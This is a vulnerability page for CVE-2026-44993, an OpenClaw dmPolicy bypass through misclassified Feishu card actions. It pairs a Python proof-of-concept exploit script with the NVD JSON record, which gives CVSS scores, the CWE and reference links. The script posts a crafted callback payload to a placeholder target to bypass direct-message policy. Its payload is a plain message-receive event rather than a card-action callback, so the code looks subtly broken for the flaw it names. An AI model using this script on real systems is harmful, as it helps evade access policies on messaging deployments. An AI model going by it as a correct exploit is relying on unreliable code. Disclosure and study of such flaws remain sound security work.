CVE-2026-44993

import requests # Exploit Title: OpenClaw Direct Message Misclassification PoC # Description: Demonstrates bypassing dmPolicy by sending a card action # that the system misclassifies as a group conversation. def exploit(target_url, token): headers = { "Content-Type": "application/json" } # Simulated callback payload for a Feishu card action # The vulnerability relies on the server mishandling the chat_type context. payload = { "schema": "2.0", "header": { "event_id": "ev_poc_123", "event_type": "im.message.receive_v1", "create_time": "1620000000000", "token": token, "app_id": "cli_a1b2c3d4" }, "event": { "tenant_key": "test_tenant", "app_id": "cli_a1b2c3d4", "message": { # In a vulnerable system, this direct message context is ignored # or treated as a group chat context, bypassing dmPolicy. "chat_type": "dm", "msg_type": "interactive", "content": "{\"type\":\"card\",\"data\":{\"action\":\"bypass_me\"}}" } } } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] PoC sent successfully. Check if policy was bypassed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target endpoint target = "https://openclaw-target.example.com/api/callback" verify_token = "your_verification_token" exploit(target, verify_token)

{"cve": {"id": "CVE-2026-44993", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:39.103", "lastModified": "2026-05-12T14:19:41.400", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.20 contains a message classification vulnerability in Feishu card-action callbacks that misclassifies direct messages as group conversations. Attackers can bypass dmPolicy enforcement by triggering card-action flows in direct message conversations that should have been blocked by restrictive policies."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-184"}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/90979d7c3ef7ec30b9f8aa6963a5e38d2f17d166", "source": "[email protected]"}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-72q8-jcmc-97wx", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/openclaw-direct-message-misclassification-in-feishu-card-actions", "source": "[email protected]"}]}}